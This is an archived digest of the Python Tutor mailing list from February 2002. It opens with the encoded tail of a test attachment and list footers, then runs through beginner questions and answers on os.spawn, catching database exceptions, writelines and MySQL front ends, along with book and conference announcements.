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
--------------210EBB413004DA0DA95BECB2--

----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97

-testlist3.footer=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
click [REPLY] to reply to sender
Click [REPLYALL] to reply to the list and poster
Click RESET for education on computers


List random #2


This list is hosted at http://www.tinylist.org/

you can manage your subscriptions at
http://www.tinylist.org/cgi-bin/TLwebmgr.py




Powered by TinyList! http://www.tinylist.org/
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From toodles@yifan.net  Tue Feb 12 06:05:52 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 12 Feb 2002 14:05:52 +0800
Subject: [Tutor] FunctionType list from ModuleType Attributes
References: <4BB02C541824D311921600902765DB7B445C42@LTISERVER> <20020212011403.A4293@pino.selwerd.nl>
Message-ID: <003501c1b38b$54b18270$3100a8c0@sun>

> Although functions don't strictly have a name, if you need a description
> that includes the likely name (but it may be wrong), try str(f) for a
> function f.

Well I don't know just how long this has been around, but:

Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> def test(n):
            print n

>>> dir(test)
['__call__', '__class__', '__delattr__', '__dict__', '__doc__', '__get__',
'__getattribute__', '__hash__', '__init__', '__name__', '__new__',
'__reduce__', '__repr__', '__setattr__', '__str__', 'func_closure',
'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals',
'func_name']
>>> test.func_name
'test'

Or maybe I'm misunderstanding...?

I also think Danny's suggestion of using the 'inspect' module is a good one.

Andy W.

>
> Easiest however would be to use a for loop over the names in dir(module),
> then you alread know what the function is called in the module.
>
> --
> Remco Gerlich
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 12 08:23:32 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 12 Feb 2002 00:23:32 -0800 (PST)
Subject: [Tutor] Using os.spawn commands
In-Reply-To: <45D4413DB5@kserver.org>
Message-ID: <Pine.LNX.4.21.0202101924480.20702-100000@hkn.eecs.berkeley.edu>

On Sat, 9 Feb 2002, Sheila King wrote:

> I wanted to write a script to test this other script of mine. I
> thought one of the os.spawn commands would be best, so that if one of
> the test processes crashed, at least my testing script wouldn't? (That
> is correct thinking there, right?)

[Warning: this message is extremely long, and very windy.  I'm trying to
show the steps and missteps I'm taking as I'm trying to solve this... and
in the end, I'm not even sure I'm answering the right quetsion.  *grin*.]



Hi Shelia,

Has anyone answered you on this yet?  I've never personally played with
the spawn functions before either.  Ok, let me take a look... I wonder
what google will say.

    http://www.spawn.com/interface.html

Arg!  Wrong Spawn!  *grin*



Ok, I'm taking a closer look at:

    http://www.python.org/doc/lib/os-process.html


> and the following  command executes from within that directory from a
> command line prompt (in a DOS window):
> E:\Web\Thinkspotwebsite\dev>python email_filter.py < test4.txt
> 
> and gives me the expected results.

Hmmm... But I'm not quite sure what will happen on a stdin redirection ---
I don't believe the system literally treats '< test4.txt', as a set of
arguments, but actually does some low-level things to set up standard
input appropriately.  Let's try a simple example with spawnl() and get
that working first.


Let's say that we have the following test program called 'greet.py':

###
## This is "greet.py".
import sys
print "Hello HAL."
print "The sys.argv is", sys.argv
print "What is the password? "
passwd = raw_input()
if passwd == 'open':
    print "ok"
else:
    print "no"
###


Here's our first unsuccessful attempt at getting this to work:

###
>>> os.spawnl(os.P_WAIT, 'python', 'python', 'greet.py')  
127
###

The error code "127" means that the system can't find the exectuable; this
is equivalent to what you're running into with that OSError.

> Traceback (most recent call last):
>   File "<pyshell#3>", line 1, in ?
>     os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt')
>   File "E:\PYTHON\PYTHON22\lib\os.py", line 530, in spawnl
>     return spawnv(mode, file, args)
> OSError: [Errno 2] No such file or directory



It looks like we really do need to put the absolute pathname in here:

###
>>> os.spawnl(os.P_WAIT, '/usr/bin/python', 'python', 'greet.py')
Hello HAL.
The sys.argv is ['greet.py']
What is the password? 
open
ok
0
###

The '0' comes as the return value of the spawnl() call.  Ok, so that
appears to work as long as we're not doing any tricky redirection.



At the moment, I'm somewhat stumped about doing this redirection nicely...
Let's see...  The thing that I'm worried about is that simply redirection
'sys.stdin' doesn't work:

###
>>> from StringIO import StringIO
>>> source = StringIO()
>>> source.write("abracadabra!\n")
>>> source.seek(0)
>>> sys.stdin = source
Hello HAL.
The sys.argv is ['greet.py']
What is the password? 
blah                         ## I actually had to enter things at this
                             ## point
no
0
###

There's a reason for this: Python is actually doing a lot of indirect
stuff when we set sys.stdin, and this indirection doesn't quite work on
spawn stuff.  The documentation sorta hints at this in

    http://www.python.org/doc/lib/module-sys.html




We can truly redirect stdin by doing some trickery:

###
def redirectStdin(filename):
    """We're trying to really redirect the true standard input here."""
    fd = os.open(filename, os.O_RDONLY)
    os.dup2(fd, sys.stdin.fileno())
###

So if we do something like this:

###
redirectStdin("test4.txt")
os.spawnl(os.P_WAIT, '/usr/bin/python', 'python', 'email_filter.py')
###

I think this may work --- you might need to readjust the call to
'/usr/bin/python' to what Windows expects.  However, now I don't know how
to get stdin to go back to the keyboard.  *laugh*  Oiii!



I get the feeling this is all too much work: is it possible to just use
os.system() instead?



From alan.gauld@bt.com  Tue Feb 12 11:38:31 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Tue, 12 Feb 2002 11:38:31 -0000
Subject: [Tutor] Interesting development in Pythons status
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C34B@mbtlipnt02.btlabs.bt.co.uk>

I just received an invite to a conference sponsored by 
The Association of C & C++ Users(ACCU). It features such 
C++ luminaries as Bjarne Stroustrup and Jim Coplien as 
speakers so no lightweight event.

The really interesting part is that Days 2 and 3 have 
Python tracks featuring:

---- Day 2 ----
New Features in Python 2	- Duncan Booth
XML to PDF via Python	- Andy Robinson
Pythons XML tools		- Nicholas Chauvat
Python and small businessw clout   - Paul Brian

----- Day 3 ----
Distributed objects and Webv services in Python - Duncan Grisby
Python Web framework - Steve Holden
Zope 3 - Steve Alexander
Python/Database in a commercial environment - Dale Strickland-Clark
Introducing Python to Industry leader - Tim Couper

Some interesting talks by interesting names, looks like Python 
is really moving up a league. The only other non C++ languages 
to get tracks are Java and C#, two days and one day respectively...

Did anyone else see this? - and is anyone thinking of attending?
Its in the UK in April. Details at:

http://www.accuconference.co.uk
 
Alan g.
Author of the 'Learning to Program' web site
http://www.freenetpages.co.uk/hp/alan.gauld


From mikalzet@libero.it  Tue Feb 12 15:21:25 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Tue, 12 Feb 2002 16:21:25 +0100 (CET)
Subject: [Tutor] Catching different exceptions
In-Reply-To: <Pine.LNX.4.21.0201180003520.22862-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.33L2.0202121546570.5031-100000@localhost.localdomain>

If I do:

import pgdb
import os
db = pgdb.connect(host = 'localhost', user = 'myname', passwd =
'mypasswd', database = 'turni')

different things can happen:

1) the database exists and the connection works (which means the program
has already been run at least once ... interesting ... whatever weird
name I choose it is always possible for a database with the same name to
have been created on my system already by some other program ... don't
think this type of error can be caught can it ?);
2) the database exists but the connection doesn't work (wrong passwd,
username or whatever) ....
3) the database does not exist, I get the following error message:
_pg.error: FATAL 1: Database "turni" does not exist in the system catalog
........ which is right and proper.

I can try to catch some exceptions like this:

try:
	db = dbpg.connect(database = 'turni')
except:
	os.system('createdb turni')

This last can fail for various reasons:
1) I am not authorized to create new databases, in this case I need an
error message telling me to contact my postgres administrator so that he
can create it for me;
2) I am not an authorized user of postgres at all, so I need a different
error message;
3) postgres doesn't exist on my system.

How do I tell python how to distinguish between different types of
exceptions ?

Is it something like:

try:
	foo
except(fooerror1):
	foo1
except(fooerror2):
	foo2
except(fooerror3):
	try:
		foo4
	except(fooerror4):
		foowhatever

Or is it possible for me to test for the existence of a working
postgres setup, a correct database and table directly, leaving exception
handling to take care of subtler errors ?

-- 
Michele Alzetta



From dsh8290@rit.edu  Tue Feb 12 16:14:52 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 12 Feb 2002 11:14:52 -0500
Subject: [Tutor] [Fwd: [testlist3] attachment's testing]
In-Reply-To: <3C68AFAD.61438614@netzero.net>
References: <3C68AFAD.61438614@netzero.net>
Message-ID: <20020212161452.GA23231@dman.ddts.net>

On Tue, Feb 12, 2002 at 01:01:17AM -0500, kirk Bailey wrote:
| Very intresting.
| 
| I sent a letter to the test list ('testlist3') and attached a copy of
| counter.1.0.0.tat.gz to it. below is the reulting email coming back to
| me.

(next time use a smaller attachment ;-))

| Hmmm.... If I can crunch this right, I can place the footers where
| they SHOULD be, and still handle attachments without a hiccup- thereby
| outperforming just about every other list server on the market today.
| Hmmm... need to think about this... anyone else out there intrested in
| sticking their fingers into THIS pie???

Hmm, not quite sure that will work as you intend it to.  First read
the docs in the 'email' module (standard part of python 2.2) regarding
representing a message.  The "preamble" and "epilogue" are the
relevant parts.  The data before the first BoundaryID is not normally
visible by a user.  I'm not certain that the data after the last
BoundaryID is seen.  It will likely cause problems for Outook Express,
I expect.  I say this because of the lengthy discussions on OE
displaying an empty message with a plain-text attachment (where the
message really is) in certain RFC-compliant situations.

You'll want to beware of HTML-only message too as HTML
parsers/renderers ignore line breaks and whitespace.  They can screw
up your nicely formatted footer.

-D

-- 

Commit to the Lord whatever you do,
and your plans will succeed.
        Proverbs 16:3



From shalehperry@attbi.com  Tue Feb 12 16:15:59 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Tue, 12 Feb 2002 08:15:59 -0800 (PST)
Subject: [Tutor] Interesting development in Pythons status
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C34B@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <XFMail.20020212081559.shalehperry@attbi.com>

> Pythons XML tools             - Nicholas Chauvat

this is one of the people behind narval.  A really quite cool example of nifty
things to do with computers and python.


From kp87@lycos.com  Tue Feb 12 14:47:05 2002
From: kp87@lycos.com (kevin parks)
Date: Tue, 12 Feb 2002 23:47:05 +0900
Subject: [Tutor] really dumb questions
Message-ID: <EEAHKNJHPPEMHBAA@mailcity.com>

>Thats why Beasleys book is good - it adds the examples ;-)

I loved that book. I used to have the 1st edition, but it left it on
the subway. I can't find the new edition here in Seoul, i've checked
everywhere. Some stores have the old one, but i can't buy that again.
If i am going to fork up that kind of money for an imported book I want it
to  be up to date. Anyone in Korea and got one they want to sell??

>f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))

This didn't work for me at all. (I can't find the forward slash on
this machine so if the newline character comes out funny just substitute. In Korea they put their monetary symbol where we put
the slash key).


>Or do it more explicitly in a loop:
>
>for line in ["Scooby", "Dooby", "Doo"]:
>    line = line + '\n'
>    f.write(line)

This worked like a charm. I was trying to do it this way originally
and couldn't figure out what i was doing wrong. turned out i to an error further up the program.


-kevin--




Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From dyoo@hkn.eecs.berkeley.edu  Tue Feb 12 18:54:39 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 12 Feb 2002 10:54:39 -0800 (PST)
Subject: [Tutor] really dumb questions    [writelines]
In-Reply-To: <EEAHKNJHPPEMHBAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202121045080.4360-100000@hkn.eecs.berkeley.edu>

On Tue, 12 Feb 2002, kevin parks wrote:

> >Thats why Beasleys book is good - it adds the examples ;-)
> 
> I loved that book. I used to have the 1st edition, but it left it on
> the subway. I can't find the new edition here in Seoul, i've checked
> everywhere. Some stores have the old one, but i can't buy that again.
> If i am going to fork up that kind of money for an imported book I
> want it to be up to date. Anyone in Korea and got one they want to
> sell??

I'll probably be going to Korea with my father during this summer. If you
don't have Beazley's book by then, I can 'import Beazley' for you if you'd
like.



> > f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))
>
> This didn't work for me at all.

Hmmm!  How did it break?  This should work; it might be interesting to see
why it didn't do what we expected.  Did you get an error message, or was
the output just weird?


Talk to you later!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 12 19:13:13 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 12 Feb 2002 11:13:13 -0800 (PST)
Subject: [Tutor] Catching different exceptions  [Databases/Exceptions]
In-Reply-To: <Pine.LNX.4.33L2.0202121546570.5031-100000@localhost.localdomain>
Message-ID: <Pine.LNX.4.21.0202121055370.4360-100000@hkn.eecs.berkeley.edu>

On Tue, 12 Feb 2002 mikalzet@libero.it wrote:

> import pgdb

Ah, PostgreSQL.  Be careful that you may need to think about transactions
by using 'commit()' --- Python's database API says that database drivers
don't auto-commit for us, at least, not by default.

"""
commit()
Commit any pending transaction to the database. Note that if the database
supports an auto-commit feature, this must be initially off. An interface
method may be provided to turn it back on.
"""

    (http://www.python.org/topics/database/DatabaseAPI-2.0.html)

I didn't know about this before, and got very confused when all my INSERT
commands never did anything... *grin*



> I can try to catch some exceptions like this:
> 
> try:
> 	db = dbpg.connect(database = 'turni')
> except:
> 	os.system('createdb turni')
> 
> This last can fail for various reasons:
> 1) I am not authorized to create new databases, in this case I need an
> error message telling me to contact my postgres administrator so that he
> can create it for me;
> 2) I am not an authorized user of postgres at all, so I need a different
> error message;
> 3) postgres doesn't exist on my system.


Yes, when we do something like:

### pseudocode
try:
    ...
except:
    ...
###

This is commonly called a "catch-all" because it doesn't distinguish
between the different types of exceptional behavior we can run into.  Not
that this isn't bad --- it's just that we often want to be able to look at
the errors in more detail.



> How do I tell python how to distinguish between different types of
> exceptions ?
> 
> Is it something like:
> 
> try:
> 	foo
> except(fooerror1):
> 	foo1
> except(fooerror2):
> 	foo2
> except(fooerror3):
> 	try:
> 		foo4
> 	except(fooerror4):
> 		foowhatever

Yes, exactly!  There are several defined Exceptions that can occur when we
do database stuff.  Here are the database-specific exception classes:

    InterfaceError
    DatabaseError
    DataError
    OperationalError
    IntegrityError
    InternalError
    ProgrammingError
    NotSupportedError

We can control the granularity of what we're looking for by taking
advantage of the class structure.  There's a functional tree of the
classes in the Database API:

    http://www.python.org/topics/database/DatabaseAPI-2.0.html

near the beginning of the page.


When we want to check for subtle stuff, we can place those cases first
when we do the exception handling:

###
## pseudocode
try: ...
except IntegrityError, e:
    ...
###



But we just want to catch all the errors related to Databases, we can do
something like:

###
## pseudocode
try: ...
except DatabaseError, e: ...
###

and that should catch everything that deals with Database stuff.





From urnerk@qwest.net  Tue Feb 12 19:40:52 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Tue, 12 Feb 2002 11:40:52 -0800
Subject: [Tutor] New Python book
In-Reply-To: <EEAHKNJHPPEMHBAA@mailcity.com>
Message-ID: <4.2.0.58.20020212113053.00c9d120@pop3.norton.antivirus>

Greetings all:

'Python: How to Program' (2002, Prentice-Hall)
is now available.  It includes stuff on XHTML/CSS,
XML, PyOpenGL, XML, interfacing with a database,
CGI and more (even some stuff on 2.2 iterators and
generators).

It's designed as possible course text, with questions
and exercises at the end of each chapter.  Comes with
CD, including the source code, Alice (multimedia
package with Python API) and Apache web server.

Kirby

PS:  I was a reviewer, doing testing and providing
feedback on some of the chapters (one of many, see
pg. LV).  Just got my copy from the publisher
yesterday.  Dunno the sale price -- it's a 1300 page
monster (plus CD) so probably in the $45-$60 range,
judging from similar books.  Wait, I should just
check Amazon...  yikes, $74.  Well, like I say, it's
a mighty thick tome.



From vdbroekw@wxs.nl  Tue Feb 12 20:18:54 2002
From: vdbroekw@wxs.nl (Walter van den Broek)
Date: Tue, 12 Feb 2002 21:18:54 +0100
Subject: [Tutor] MYSQL
References: <E16agIo-0005tB-00@mail.python.org>
Message-ID: <3C6978AE.975A166A@wxs.nl>

Hi all,

I am using MySQL as database, tried MySQLdb module, works fine although
a little limited in capabillities.
Trying to make a front end, something to enter data with in MySQL, since
i get a little acquinted with python (newbie), i am looking for
documentation or examples of such a front end which interacts with
MySQL. Already have  acouple of python books( Gauld, Lundh, Lutz and web
programming with python), but could not find an example to hack, i am a
lazy programmer who loves to adjust other people's work for his own
needs.
Project: scientific research, i need to store and analyse patient data,
from demographic to disease characteristics.
Any suggestions or links appreciated, thanks walter


From virketis@fas.harvard.edu  Tue Feb 12 20:34:45 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Tue, 12 Feb 2002 15:34:45 -0500
Subject: [Tutor] MYSQL
References: <E16agIo-0005tB-00@mail.python.org> <3C6978AE.975A166A@wxs.nl>
Message-ID: <00bd01c1b404$b5448500$18adf78c@virketis2>

Walter,

If I understand correctly, you are looking for a GUI frontend for MySQL,
right? Unfortunately, I don't know of one for Python, but here is a great
one written in PHP, and used by my ISP:
http://phpwizard.net/projects/phpMyAdmin/index.html. Hopefully, someone else
will know of a Python equivalent. If there is none, this can serve as an
inspiration to write your own ... :)

Cheers,

Pijus



From arcege@speakeasy.net  Tue Feb 12 23:03:11 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Tue, 12 Feb 2002 18:03:11 -0500
Subject: [Tutor] really dumb questions
In-Reply-To: <EEAHKNJHPPEMHBAA@mailcity.com>; from kp87@lycos.com on Tue, Feb 12, 2002 at 11:47:05PM +0900
References: <EEAHKNJHPPEMHBAA@mailcity.com>
Message-ID: <20020212180311.E3144@speakeasy.net>

On Tue, Feb 12, 2002 at 11:47:05PM +0900, kevin parks wrote:
> >Thats why Beasleys book is good - it adds the examples ;-)
> 
> I loved that book. I used to have the 1st edition, but it left it on
> the subway. I can't find the new edition here in Seoul, i've checked
> everywhere. Some stores have the old one, but i can't buy that again.
> If i am going to fork up that kind of money for an imported book I want it
> to  be up to date. Anyone in Korea and got one they want to sell??
> 
> >f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))
> 
